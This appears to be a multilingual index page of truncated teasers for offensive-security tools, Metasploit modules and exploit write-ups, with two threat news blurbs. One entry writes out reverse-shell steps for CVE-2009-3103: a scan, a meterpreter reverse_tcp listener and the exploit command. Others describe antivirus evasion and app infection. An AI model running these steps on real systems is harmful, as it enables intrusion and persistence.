CVE-2017-0199

익스플로잇 툴킷 CVE-2017-0199 익스플로잇 툴킷 CVE-2017-0199는 침투 테스터와 보안 연구원에게 Microsoft Office RCE를 빠르고 효과적으로 테스트할 수 있는 편리한 파이썬 스크립트입니다. 이 스크립트는 복잡한 설정 없이 악성 RTF/PPSX 파일을 생성하고 피해자에게 metasploit / meterpreter / 기타 페이로드를 전달할 수 있습니다. 이 스크립트는 Python 3에서 작동하도록 수정되었습니다...

kwetza

Введение Автор: Chris Le Roy @brompwnie [email protected] Kwetza — это инструмент, позволяющий заразить существующее Android-приложение полезной нагрузкой Meterpreter. Что он делает? Kwetza заражает существующее Android-приложение, используя пользовательские или стандартные шаблоны полезных...

payloadgenerator

PGen PGen — это инструмент, написанный на Bash, для генерации наиболее распространённых полезных нагрузок Meterpreter через MSFvenom, часть фреймворка Metasploit. О программе PGen — это обёртка вокруг MSFvenom, обеспечивающая более удобный интерфейс для создания различных типов полезных нагрузок...

Shellcode-Injection-Techniques

Техники внедрения шеллкода Коллекция техник внедрения шеллкода на C. Все техники используют полезную нагрузку Meterpreter, зашифрованную AES. Я буду дополнять этот проект по мере изучения, обнаружения или разработки новых техник. Примечание: Проект не предназначен для использования как есть. Если...

CVE-2017-8759

Exploit toolkit CVE-2017-8759 - v1.0 Exploit toolkit CVE-2017-8759 - v1.0 — это удобный скрипт на Python, который предоставляет пентестерам и специалистам по безопасности быстрый и эффективный способ тестирования RCE Microsoft .NET Framework. Он может генерировать вредоносный RTF-файл и доставлят...

CVE-2009-3103

CVE-2009-3103 SMBの脆弱性を確認 nmap --script smb-vuln -p139,445 IP-TARGET リスナーを設定 sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run エクスプロイトを実行 python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...

Monitor

プロジェクト概要 ポストエクスプロイテーション段階で権限を維持するために使用します。 プロジェクトの使用方法 Step1 ：このプロジェクトをダウンロードし、VSを使用してMonitor.cppをコンパイルします。もちろん、コンパイル済みのものを使用しても構いません。Monitor.cppのコードは以下の通りです： root@kitploit: include "Windows.h" int main MONITORINFO2 monitorInfo; TCHAR env12 = TEXT"Windows x64"; TCHAR name12 = TEXT"Monitor"; TCHAR...

foolav

foolav Executable compiled with this code is useful during penetration tests where there is a need to execute some payload meterpreter maybe? while being certain that it will not be detected by antivirus software. The only requirement is to be able to upload two files: binary executable and paylo...

Exploit for CVE-2017-0144

EternalBlue-DoublePulsar-Exploit-Demonstration Cybersecurity l...

📄 sudo 1.9.17 chroot Privilege Escalation

This Metasploit module exploits CVE-2025-32463, a local privilege escalation vulnerability in Sudo's chroot functionality. The vulnerability allows attackers to load malicious NSS Name Service Switch modules from within a chroot environment, leading to arbitrary code execution as root...

📄 ChurchCRM 6.8.0 Unauthenticated Remote Code Execution

This Metasploit module exploits an unauthenticated remote code execution vulnerability in the installation process of ChurchCRM versions 6.8.0 and earlier. By sending a specially crafted POST request to the setup page, an attacker can execute arbitrary commands on the target server. This Metasplo...

Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit)

Exploit Title: Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution Date: 2023-03-31 Exploit Author: sf Vendor Homepage: https://www.zyxel.com/ Software Link: https://www.zyxel.com/ Version: ATP Firmware version 4.60 to 5.35 inclusive, USG FLEX Firmware version 4.60 to 5.35 inclusive, V...

Researchers Uncover Obfuscated Malicious Code in PyPI Python Packages

Four different rogue packages in the Python Package Index PyPI have been found to carry out a number of malicious actions, including dropping malware, deleting the netstat utility, and manipulating the SSH authorizedkeys file. The packages in question are aptx, bingchilling2, httops, and tkint3rs...

Blind Eagle Hackers Return with Refined Tools and Sophisticated Infection Chain

A financially motivated threat actor tracked as Blind Eagle has resurfaced with a refined toolset and an elaborate infection chain as part of its attacks targeting organizations in Colombia and Ecuador. Check Point's latest research offers new insights into the Spanish-speaking group's tactics an...

Safari Webkit For iOS 7.1.2 JIT Optimization Bug Exploit

This Metasploit module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit CVE-2016-4669 that obtains kernel rw, obtains root and disables code signing. Finally we...

Safari Webkit Proxy Object Type Confusion

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Safari Webkit Proxy Object Type Confusion', 'Description' = %q This module exploits a type confusion bug in the Javascript Proxy object in WebKit...

TAU Threat Intelligence Notification: Java Embedded MSI Files

Summary Application whitelisting provides environments with access controls to stop unauthorized software from executing. This is accomplished by utilizing file and folder attributes including but not limited to file path, filename, digital signature, publisher, cryptographic hash and product nam...

Safari Webkit Proxy Object Type Confusion

This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e....

Exploit for CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v2.0 Exploit toolkit CVE-201...

Safari Webkit JIT Exploit for iOS 7.1.2

This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit CVE-2016-4669 that obtains kernel rw, obtains root and disables code signing. Finally we download and...